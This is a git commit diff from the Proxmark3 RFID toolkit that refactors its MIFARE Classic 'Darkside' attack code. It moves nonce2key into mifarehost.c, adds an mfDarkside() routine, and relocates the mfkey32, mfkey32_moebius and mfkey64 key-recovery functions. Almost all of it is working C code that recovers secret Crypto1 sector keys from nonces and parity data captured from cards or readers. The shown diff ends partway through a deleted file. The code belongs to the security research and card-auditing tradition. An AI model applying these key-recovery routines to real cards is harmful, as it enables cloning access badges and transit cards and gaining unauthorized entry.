Code cleanup: Refactoring nonce2key 234/head
authorpwpiwi <pwpiwi@users.noreply.github.com>
Sat, 11 Mar 2017 17:32:53 +0000 (18:32 +0100)
committerpwpiwi <pwpiwi@users.noreply.github.com>
Mon, 20 Mar 2017 20:16:57 +0000 (21:16 +0100)
- include nonce2key() in mifarehost.c
- remove tools/nonce2key
- simplify mifare_autopwn.lua

15 files changed:
client/Makefile
client/cmdhfmf.c
client/mifarehost.c
client/mifarehost.h
client/nonce2key.c [new file with mode: 0644]
client/nonce2key.h [new file with mode: 0644]
client/nonce2key/nonce2key.c [deleted file]
client/nonce2key/nonce2key.h [deleted file]
client/obj/nonce2key/.dummy [deleted file]
client/scripting.c
client/scripts/mifare_autopwn.lua
common/crapto1/crapto1.c
tools/nonce2key/Makefile [deleted file]
tools/nonce2key/nonce2key.c [deleted file]
tools/nonce2key/readme.txt [deleted file]

index 79e0cc31d3a05c016c322c8135fb91949c4db33b..ac7e6f9804b51da30dc47472262d1e14be88ef07 100644 (file)
@@ -58,7 +58,7 @@ CORESRCS =    uart.c \
 
 CMDSRCS =      crapto1/crapto1.c\
                        crapto1/crypto1.c\
-                       nonce2key/nonce2key.c\
+                       nonce2key.c\
                        loclass/cipher.c \
                        loclass/cipherutils.c \
                        loclass/des.c \
index b3f7acb2a1e1d0f12a16e2dd7341fdfc172e4d7e..47660a6e2b3c4e4eb2e933ef91aba71c2eda694b 100644 (file)
 #include "ui.h"\r
 #include "mifarehost.h"\r
 #include "mifare.h"\r
-#include "nonce2key/nonce2key.h"\r
+#include "nonce2key.h"\r
 \r
 #define NESTED_SECTOR_RETRY     10                     // how often we try mfested() until we give up\r
 \r
 \r
 static int CmdHelp(const char *Cmd);\r
 \r
+\r
 int CmdHF14AMifare(const char *Cmd)\r
 {\r
-       uint32_t uid = 0;\r
-       uint32_t nt = 0, nr = 0;\r
-       uint64_t par_list = 0, ks_list = 0, r_key = 0;\r
-       int16_t isOK = 0;\r
-\r
-       UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
-\r
-       // message\r
-       printf("-------------------------------------------------------------------------\n");\r
-       printf("Executing command. Expected execution time: 25sec on average  :-)\n");\r
-       printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
-       printf("-------------------------------------------------------------------------\n");\r
-\r
-       \r
- start:\r
-    clearCommandBuffer();\r
-    SendCommand(&c);\r
-       \r
-       //flush queue\r
-       while (ukbhit()) {\r
-               int c = getchar(); (void) c;\r
-       }\r
-       \r
-       // wait cycle\r
-       while (true) {\r
-        printf(".");\r
-               fflush(stdout);\r
-               if (ukbhit()) {\r
-                       getchar();\r
-                       printf("\naborted via keyboard!\n");\r
-                       break;\r
-               }\r
-               \r
-               UsbCommand resp;\r
-               if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
-                       isOK  = resp.arg[0];\r
-                       uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);\r
-                       nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);\r
-                       par_list = bytes_to_num(resp.d.asBytes +  8, 8);\r
-                       ks_list = bytes_to_num(resp.d.asBytes +  16, 8);\r
-                       nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
-                       printf("\n\n");\r
-                       switch (isOK) {\r
-                               case -1 : PrintAndLog("Button pressed. Aborted.\n"); break;\r
-                               case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).\n"); break;\r
-                               case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable).\n"); break;\r
-                               case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");\r
-                                                       PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour.\n"); break;\r
-                               default: ;\r
-                       }\r
-                       break;\r
-               }\r
-       }       \r
+       int isOK = 0;\r
+       uint64_t key = 0;\r
 \r
-       printf("\n");\r
-       \r
-       // error\r
-       if (isOK != 1) return 1;\r
-       \r
-       // execute original function from util nonce2key\r
-       if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key)) {\r
-               isOK = 2;\r
-               PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);    \r
-               PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
-               c.arg[0] = false;\r
-               goto start;\r
-       } else {\r
-               isOK = 0;\r
-               printf("------------------------------------------------------------------\n");\r
-               PrintAndLog("Found valid key:%012" PRIx64 " \n", r_key);\r
+       isOK = mfDarkside(&key);\r
+       switch (isOK) {\r
+               case -1 : PrintAndLog("Button pressed. Aborted."); return 1;\r
+               case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests)."); return 1;\r
+               case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable)."); return 1;\r
+               case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");\r
+                                       PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour."); return 1;\r
+               case -5 : PrintAndLog("Aborted via keyboard.");  return 1;\r
+               default : PrintAndLog("Found valid key:%012" PRIx64 "\n", key);\r
        }\r
        \r
        PrintAndLog("");\r
        return 0;\r
 }\r
 \r
+\r
 int CmdHF14AMfWrBl(const char *Cmd)\r
 {\r
        uint8_t blockNo = 0;\r
@@ -1090,7 +1034,7 @@ void readerAttack(nonces_t ar_resp[], bool setEmulatorMem, bool doStandardAttack
                                                }\r
                                        }\r
                                }\r
-                       } else if (tryMfk32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) {\r
+                       } else if (mfkey32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) {\r
                                uint8_t sectorNum = ar_resp[i+ATTACK_KEY_COUNT].sector;\r
                                uint8_t keyType = ar_resp[i+ATTACK_KEY_COUNT].keytype;\r
 \r
index 411a44c1ee82c8ac9dc79954e53b1c528be7d043..cbd79cf7536d5475288f1d02518f09075889de49 100644 (file)
 #define TRACE_ERROR                                            0xFF\r
 \r
 \r
-// MIFARE\r
+static int compare_uint64(const void *a, const void *b) {\r
+       // didn't work: (the result is truncated to 32 bits)\r
+       //return (*(int64_t*)b - *(int64_t*)a);\r
+\r
+       // better:\r
+       if (*(uint64_t*)b == *(uint64_t*)a) return 0;\r
+       else if (*(uint64_t*)b < *(uint64_t*)a) return 1;\r
+       else return -1;\r
+}\r
+\r
+\r
+// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.\r
+static uint32_t intersection(uint64_t *list1, uint64_t *list2)\r
+{\r
+       if (list1 == NULL || list2 == NULL) {\r
+               return 0;\r
+       }\r
+       uint64_t *p1, *p2, *p3;\r
+       p1 = p3 = list1; \r
+       p2 = list2;\r
+\r
+       while ( *p1 != -1 && *p2 != -1 ) {\r
+               if (compare_uint64(p1, p2) == 0) {\r
+                       *p3++ = *p1++;\r
+                       p2++;\r
+               }\r
+               else {\r
+                       while (compare_uint64(p1, p2) < 0) ++p1;\r
+                       while (compare_uint64(p1, p2) > 0) ++p2;\r
+               }\r
+       }\r
+       *p3 = -1;\r
+       return p3 - list1;\r
+}\r
+\r
+\r
+// Darkside attack (hf mf mifare)\r
+static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {\r
+       struct Crypto1State *states;\r
+       uint32_t i, pos, rr; //nr_diff;\r
+       uint8_t bt, ks3x[8], par[8][8];\r
+       uint64_t key_recovered;\r
+       static uint64_t *keylist;\r
+       rr = 0;\r
+\r
+       // Reset the last three significant bits of the reader nonce\r
+       nr &= 0xffffff1f;\r
+\r
+       for (pos=0; pos<8; pos++) {\r
+               ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;\r
+               bt = (par_info >> (pos*8)) & 0xff;\r
+               for (i=0; i<8; i++)     {\r
+                               par[7-pos][i] = (bt >> i) & 0x01;\r
+               }\r
+       }\r
+\r
+       states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));\r
+\r
+       if (states == NULL) {\r
+               *keys = NULL;\r
+               return 0;\r
+       }\r
+\r
+       keylist = (uint64_t*)states;\r
+       \r
+       for (i = 0; keylist[i]; i++) {\r
+               lfsr_rollback_word(states+i, uid^nt, 0);\r
+               crypto1_get_lfsr(states+i, &key_recovered);\r
+               keylist[i] = key_recovered;\r
+       }\r
+       keylist[i] = -1;\r
+\r
+       *keys = keylist;\r
+       return i;\r
+}\r
+\r
+\r
+int mfDarkside(uint64_t *key)\r
+{\r
+       uint32_t uid = 0;\r
+       uint32_t nt = 0, nr = 0;\r
+       uint64_t par_list = 0, ks_list = 0;\r
+       uint64_t *keylist = NULL, *last_keylist = NULL;\r
+       uint32_t keycount = 0;\r
+       int16_t isOK = 0;\r
+\r
+       UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
+\r
+       // message\r
+       printf("-------------------------------------------------------------------------\n");\r
+       printf("Executing command. Expected execution time: 25sec on average\n");\r
+       printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
+       printf("-------------------------------------------------------------------------\n");\r
+\r
+       \r
+       while (true) {\r
+               clearCommandBuffer();\r
+               SendCommand(&c);\r
+               \r
+               //flush queue\r
+               while (ukbhit()) {\r
+                       int c = getchar(); (void) c;\r
+               }\r
+               \r
+               // wait cycle\r
+               while (true) {\r
+                       printf(".");\r
+                       fflush(stdout);\r
+                       if (ukbhit()) {\r
+                               return -5;\r
+                               break;\r
+                       }\r
+                       \r
+                       UsbCommand resp;\r
+                       if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
+                               isOK  = resp.arg[0];\r
+                               if (isOK < 0) {\r
+                                       return isOK;\r
+                               }\r
+                               uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);\r
+                               nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);\r
+                               par_list = bytes_to_num(resp.d.asBytes +  8, 8);\r
+                               ks_list = bytes_to_num(resp.d.asBytes +  16, 8);\r
+                               nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
+                               break;\r
+                       }\r
+               }       \r
+\r
+               if (par_list == 0 && c.arg[0] == true) {\r
+                       PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");\r
+                       PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");\r
+               }\r
+               c.arg[0] = false;\r
+\r
+               keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);\r
+\r
+               if (keycount == 0) {\r
+                       PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);    \r
+                       PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
+                       continue;\r
+               }\r
+\r
+               qsort(keylist, keycount, sizeof(*keylist), compare_uint64);\r
+               keycount = intersection(last_keylist, keylist);\r
+               if (keycount == 0) {\r
+                       free(last_keylist);\r
+                       last_keylist = keylist;\r
+                       continue;\r
+               }\r
+\r
+               if (keycount > 1) {\r
+                       PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);\r
+               } else {\r
+                       PrintAndLog("Found a possible key. Trying to authenticate...\n");\r
+               }               \r
+\r
+               *key = -1;\r
+               uint8_t keyBlock[USB_CMD_DATA_SIZE];\r
+               int max_keys = USB_CMD_DATA_SIZE/6;\r
+               for (int i = 0; i < keycount; i += max_keys) {\r
+                       int size = keycount - i > max_keys ? max_keys : keycount - i;\r
+                       for (int j = 0; j < size; j++) {\r
+                               if (last_keylist == NULL) {\r
+                                       num_to_bytes(keylist[i*max_keys + j], 6, keyBlock);\r
+                               } else {\r
+                                       num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock);\r
+                               }\r
+                       }\r
+                       if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {\r
+                               break;\r
+                       }\r
+               }       \r
+               \r
+               if (*key != -1) {\r
+                       free(last_keylist);\r
+                       free(keylist);\r
+                       break;\r
+               } else {\r
+                       PrintAndLog("Authentication failed. Trying again...");\r
+                       free(last_keylist);\r
+                       last_keylist = keylist;\r
+               }\r
+       }\r
+       \r
+       return 0;\r
+}\r
+\r
+\r
 int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){\r
 \r
        *key = 0;\r
@@ -49,16 +236,6 @@ int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t key
        return 0;\r
 }\r
 \r
-int compar_int(const void * a, const void * b) {\r
-       // didn't work: (the result is truncated to 32 bits)\r
-       //return (*(uint64_t*)b - *(uint64_t*)a);\r
-\r
-       // better:\r
-       if (*(uint64_t*)b == *(uint64_t*)a) return 0;\r
-       else if (*(uint64_t*)b > *(uint64_t*)a) return 1;\r
-       else return -1;\r
-}\r
-\r
 // Compare 16 Bits out of cryptostate\r
 int Compare16Bits(const void * a, const void * b) {\r
        if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;\r
@@ -100,7 +277,7 @@ void* nested_worker_thread(void *arg)
        return statelist->head.slhead;\r
 }\r
 \r
-int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * resultKey, bool calibrate) \r
+int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) \r
 {\r
        uint16_t i;\r
        uint32_t uid;\r
@@ -178,8 +355,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
                        while (Compare16Bits(p1, p2) == 1) p2++;\r
                }\r
        }\r
-       p3->even = 0; p3->odd = 0;\r
-       p4->even = 0; p4->odd = 0;\r
+       *(uint64_t*)p3 = -1;\r
+       *(uint64_t*)p4 = -1;\r
        statelists[0].len = p3 - statelists[0].head.slhead;\r
        statelists[1].len = p4 - statelists[1].head.slhead;\r
        statelists[0].tail.sltail=--p3;\r
@@ -187,24 +364,9 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo
 \r
        // the statelists now contain possible keys. The key we are searching for must be in the\r
        // intersection of both lists. Create the intersection:\r
-       qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compar_int);\r
-       qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compar_int);\r
-\r
-       uint64_t *p5, *p6, *p7;\r
-       p5 = p7 = statelists[0].head.keyhead; \r
-       p6 = statelists[1].head.keyhead;\r
-       while (p5 <= statelists[0].tail.keytail && p6 <= statelists[1].tail.keytail) {\r
-               if (compar_int(p5, p6) == 0) {\r
-                       *p7++ = *p5++;\r
-                       p6++;\r
-               }\r
-               else {\r
-                       while (compar_int(p5, p6) == -1) p5++;\r
-                       while (compar_int(p5, p6) == 1) p6++;\r
-               }\r
-       }\r
-       statelists[0].len = p7 - statelists[0].head.keyhead;\r
-       statelists[0].tail.keytail=--p7;\r
+       qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);\r
+       qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);\r
+       statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);\r
 \r
        memset(resultKey, 0, 6);\r
        // The list may still contain several key candidates. Test each of them with mfCheckKeys\r
index e628ba3ab0ba9d2c51abf9ca3004e8acdc848d32..a9db4ec384a7c950e9c57a12d9d21cb9861cf913 100644 (file)
@@ -22,8 +22,9 @@
 \r
 extern char logHexFileName[FILE_PATH_SIZE];\r
 \r
-extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * ResultKeys, bool calibrate);\r
-extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key);\r
+extern int mfDarkside(uint64_t *key);\r
+extern int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *ResultKeys, bool calibrate);\r
+extern int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key);\r
 \r
 extern int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount);\r
 extern int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount);\r
diff --git a/client/nonce2key.c b/client/nonce2key.c
new file mode 100644 (file)
index 0000000..acd551e
--- /dev/null
@@ -0,0 +1,137 @@
+//-----------------------------------------------------------------------------
+// Merlok - June 2011
+// Roel - Dec 2009
+// Unknown author
+//
+// This code is licensed to you under the terms of the GNU GPL, version 2 or,
+// at your option, any later version. See the LICENSE.txt file for the text of
+// the license.
+//-----------------------------------------------------------------------------
+// MIFARE Darkside hack
+//-----------------------------------------------------------------------------
+
+#include "nonce2key.h"
+
+#include <inttypes.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "mifarehost.h"
+#include "util.h"
+#include "crapto1/crapto1.h"
+
+// recover key from 2 different reader responses on same tag challenge
+bool mfkey32(nonces_t data, uint64_t *outputkey) {
+       struct Crypto1State *s,*t;
+       uint64_t outkey = 0;
+       uint64_t key = 0;     // recovered key
+       bool isSuccess = false;
+       uint8_t counter = 0;
+
+       uint64_t t1 = msclock();
+
+       s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
+
+       for(t = s; t->odd | t->even; ++t) {
+               lfsr_rollback_word(t, 0, 0);
+               lfsr_rollback_word(t, data.nr, 1);
+               lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
+               crypto1_get_lfsr(t, &key);
+               crypto1_word(t, data.cuid ^ data.nonce, 0);
+               crypto1_word(t, data.nr2, 1);
+               if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce, 64))) {
+                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
+                       outkey = key;
+                       counter++;
+                       if (counter == 20) break;
+               }
+       }
+       isSuccess = (counter == 1);
+       t1 = msclock() - t1;
+       //if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
+       *outputkey = ( isSuccess ) ? outkey : 0;
+       crypto1_destroy(s);
+       /* //un-comment to save all keys to a stats.txt file 
+       FILE *fout;
+       if ((fout = fopen("stats.txt","ab")) == NULL) { 
+               PrintAndLog("Could not create file name stats.txt");
+               return 1;
+       }
+       fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
+       fclose(fout);
+       */
+       return isSuccess;
+}
+
+// recover key from 2 reader responses on 2 different tag challenges
+bool mfkey32_moebius(nonces_t data, uint64_t *outputkey) {
+       struct Crypto1State *s, *t;
+       uint64_t outkey  = 0;
+       uint64_t key       = 0;                 // recovered key
+       bool isSuccess = false;
+       int counter = 0;
+       
+       //PrintAndLog("Enter mfkey32_moebius");
+       uint64_t t1 = msclock();
+
+       s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
+  
+       for(t = s; t->odd | t->even; ++t) {
+               lfsr_rollback_word(t, 0, 0);
+               lfsr_rollback_word(t, data.nr, 1);
+               lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
+               crypto1_get_lfsr(t, &key);
+               
+               crypto1_word(t, data.cuid ^ data.nonce2, 0);
+               crypto1_word(t, data.nr2, 1);
+               if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce2, 64))) {
+                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
+                       outkey=key;
+                       ++counter;
+                       if (counter==20)
+                               break;
+               }
+       }
+       isSuccess       = (counter == 1);
+       t1 = msclock() - t1;
+       // PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
+       *outputkey = ( isSuccess ) ? outkey : 0;
+       crypto1_destroy(s);
+       /* // un-comment to output all keys to stats.txt
+       FILE *fout;
+       if ((fout = fopen("stats.txt","ab")) == NULL) { 
+               PrintAndLog("Could not create file name stats.txt");
+               return 1;
+       }
+       fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
+       fclose(fout);
+       */
+       return isSuccess;
+}
+
+// recover key from reader response and tag response of one authentication sequence
+int mfkey64(nonces_t data, uint64_t *outputkey){
+       uint64_t key    = 0;                            // recovered key
+       uint32_t ks2;                                           // keystream used to encrypt reader response
+       uint32_t ks3;                                           // keystream used to encrypt tag response
+       struct Crypto1State *revstate;
+       
+       // PrintAndLog("Enter mfkey64");
+       uint64_t t1 = msclock();
+       
+       // Extract the keystream from the messages
+       ks2 = data.ar ^ prng_successor(data.nonce, 64);
+       ks3 = data.at ^ prng_successor(data.nonce, 96);
+       revstate = lfsr_recovery64(ks2, ks3);
+       lfsr_rollback_word(revstate, 0, 0);
+       lfsr_rollback_word(revstate, 0, 0);
+       lfsr_rollback_word(revstate, data.nr, 1);
+       lfsr_rollback_word(revstate, data.cuid ^ data.nonce, 0);
+       crypto1_get_lfsr(revstate, &key);
+       // PrintAndLog("Found Key: [%012" PRIx64 "]", key);
+       crypto1_destroy(revstate);
+       *outputkey = key;
+       
+       t1 = msclock() - t1;
+       // PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0);
+       return 0;
+}
diff --git a/client/nonce2key.h b/client/nonce2key.h
new file mode 100644 (file)
index 0000000..795f239
--- /dev/null
@@ -0,0 +1,36 @@
+//-----------------------------------------------------------------------------
+// Merlok - June 2011
+// Roel - Dec 2009
+// Unknown author
+//
+// This code is licensed to you under the terms of the GNU GPL, version 2 or,
+// at your option, any later version. See the LICENSE.txt file for the text of
+// the license.
+//-----------------------------------------------------------------------------
+// MIFARE Darkside hack
+//-----------------------------------------------------------------------------
+
+#ifndef __NONCE2KEY_H
+#define __NONCE2KEY_H
+
+#include <stdint.h>
+#include <stdbool.h>
+
+typedef struct {
+                         uint32_t cuid;
+                         uint8_t  sector;
+                         uint8_t  keytype;
+                         uint32_t nonce;
+                         uint32_t ar;
+                         uint32_t nr;
+                         uint32_t at;
+                         uint32_t nonce2;
+                         uint32_t ar2;
+                         uint32_t nr2;
+                       } nonces_t;
+
+bool mfkey32(nonces_t data, uint64_t *outputkey);
+bool mfkey32_moebius(nonces_t data, uint64_t *outputkey);
+int mfkey64(nonces_t data, uint64_t *outputkey);
+
+#endif
diff --git a/client/nonce2key/nonce2key.c b/client/nonce2key/nonce2key.c
deleted file mode 100644 (file)
index 6573b39..0000000
+++ /dev/null
@@ -1,288 +0,0 @@
-//-----------------------------------------------------------------------------
-// Merlok - June 2011
-// Roel - Dec 2009
-// Unknown author
-//
-// This code is licensed to you under the terms of the GNU GPL, version 2 or,
-// at your option, any later version. See the LICENSE.txt file for the text of
-// the license.
-//-----------------------------------------------------------------------------
-// MIFARE Darkside hack
-//-----------------------------------------------------------------------------
-
-#include "nonce2key.h"
-
-#include <inttypes.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include "mifarehost.h"
-#include "ui.h"
-#include "util.h"
-#include "crapto1/crapto1.h"
-
-int compar_state(const void * a, const void * b) {
-       // didn't work: (the result is truncated to 32 bits)
-       //return (*(int64_t*)b - *(int64_t*)a);
-
-       // better:
-       if (*(int64_t*)b == *(int64_t*)a) return 0;
-       else if (*(int64_t*)b > *(int64_t*)a) return 1;
-       else return -1;
-}
-
-int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
-  struct Crypto1State *state;
-  uint32_t i, pos, rr, nr_diff, key_count;//, ks1, ks2;
-  uint8_t bt, ks3x[8], par[8][8];
-  uint64_t key_recovered;
-  int64_t *state_s;
-  static uint32_t last_uid;
-  static int64_t *last_keylist;
-  rr = 0;
-  
-  if (last_uid != uid && last_keylist != NULL)
-  {
-       free(last_keylist);
-       last_keylist = NULL;
-  }
-  last_uid = uid;
-
-  // Reset the last three significant bits of the reader nonce
-  nr &= 0xffffff1f;
-  
-  PrintAndLog("\nuid(%08x) nt(%08x) par(%016" PRIx64") ks(%016" PRIx64") nr(%08" PRIx32")\n\n",uid,nt,par_info,ks_info,nr);
-
-  for (pos=0; pos<8; pos++)
-  {
-    ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
-    bt = (par_info >> (pos*8)) & 0xff;
-    for (i=0; i<8; i++)
-    {
-      par[7-pos][i] = (bt >> i) & 0x01;
-    }
-  }
-
-  printf("|diff|{nr}    |ks3|ks3^5|parity         |\n");
-  printf("+----+--------+---+-----+---------------+\n");
-  for (i=0; i<8; i++)
-  {
-    nr_diff = nr | i << 5;
-    printf("| %02x |%08x|",i << 5, nr_diff);
-    printf(" %01x |  %01x  |",ks3x[i], ks3x[i]^5);
-    for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
-    printf("%01x|\n", par[i][7]);
-  }
-  
-       if (par_info == 0)
-               PrintAndLog("Parity is all zero, trying special attack! Just wait for few more seconds...");
-  
-       state = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));
-       state_s = (int64_t*)state;
-       
-       //char filename[50] ;
-    //sprintf(filename, "nt_%08x_%d.txt", nt, nr);
-    //printf("name %s\n", filename);
-       //FILE* fp = fopen(filename,"w");
-       for (i = 0; (state) && *(state_s + i); i++)
-       {
-               lfsr_rollback_word(state+i, uid^nt, 0);
-               crypto1_get_lfsr(state + i, &key_recovered);
-               *(state_s + i) = key_recovered;
-               //fprintf(fp, "%012" PRIx64 "\n",key_recovered);
-       }
-       //fclose(fp);
-       
-       if(!state)
-               return 1;
-       
-       qsort(state_s, i, sizeof(*state_s), compar_state);
-       *(state_s + i) = -1;
-       
-       //Create the intersection:
-       if (par_info == 0 ) {
-               if (last_keylist != NULL) {
-                       int64_t *p1, *p2, *p3;
-                       p1 = p3 = last_keylist; 
-                       p2 = state_s;
-                       while ( *p1 != -1 && *p2 != -1 ) {
-                               if (compar_state(p1, p2) == 0) {
-                                       printf("p1:%" PRIx64" p2:%" PRIx64 " p3:%" PRIx64" key:%012" PRIx64 "\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
-                                       *p3++ = *p1++;
-                                       p2++;
-                               }
-                               else {
-                                       while (compar_state(p1, p2) == -1) ++p1;
-                                       while (compar_state(p1, p2) == 1) ++p2;
-                               }
-                       }
-                       key_count = p3 - last_keylist;
-               } else {
-                       key_count = 0;
-               }
-       } else {
-               last_keylist = state_s;
-               key_count = i;
-       }
-       
-       printf("key_count:%d\n", key_count);
-
-       // The list may still contain several key candidates. Test each of them with mfCheckKeys
-       for (i = 0; i < key_count; i++) {
-               uint8_t keyBlock[6];
-               uint64_t key64;
-               key64 = *(last_keylist + i);
-               num_to_bytes(key64, 6, keyBlock);
-               key64 = 0;
-               if (!mfCheckKeys(0, 0, false, 1, keyBlock, &key64)) {
-                       *key = key64;
-                       free(last_keylist);
-                       last_keylist = NULL;
-                       if (par_info == 0)
-                               free(state);
-                       return 0;
-               }
-       }       
-
-       
-       free(last_keylist);
-       last_keylist = state_s;
-       
-       return 1;
-}
-
-// 32 bit recover key from 2 nonces
-bool mfkey32(nonces_t data, uint64_t *outputkey) {
-       struct Crypto1State *s,*t;
-       uint64_t outkey = 0;
-       uint64_t key=0;     // recovered key
-       uint32_t uid     = data.cuid;
-       uint32_t nt      = data.nonce;  // first tag challenge (nonce)
-       uint32_t nr0_enc = data.nr;  // first encrypted reader challenge
-       uint32_t ar0_enc = data.ar;  // first encrypted reader response
-       uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
-       uint32_t ar1_enc = data.ar2; // second encrypted reader response
-       uint64_t t1 = msclock();
-       bool isSuccess = false;
-       uint8_t counter=0;
-
-       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
-
-       for(t = s; t->odd | t->even; ++t) {
-               lfsr_rollback_word(t, 0, 0);
-               lfsr_rollback_word(t, nr0_enc, 1);
-               lfsr_rollback_word(t, uid ^ nt, 0);
-               crypto1_get_lfsr(t, &key);
-               crypto1_word(t, uid ^ nt, 0);
-               crypto1_word(t, nr1_enc, 1);
-               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
-                       //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
-                       outkey = key;
-                       counter++;
-                       if (counter==20) break;
-               }
-       }
-       isSuccess = (counter == 1);
-       t1 = msclock() - t1;
-       //if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
-       *outputkey = ( isSuccess ) ? outkey : 0;
-       crypto1_destroy(s);
-       /* //un-comment to save all keys to a stats.txt file 
-       FILE *fout;
-       if ((fout = fopen("stats.txt","ab")) == NULL) { 
-               PrintAndLog("Could not create file name stats.txt");
-               return 1;
-       }
-       fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
-       fclose(fout);
-       */
-       return isSuccess;
-}
-
-bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey) {
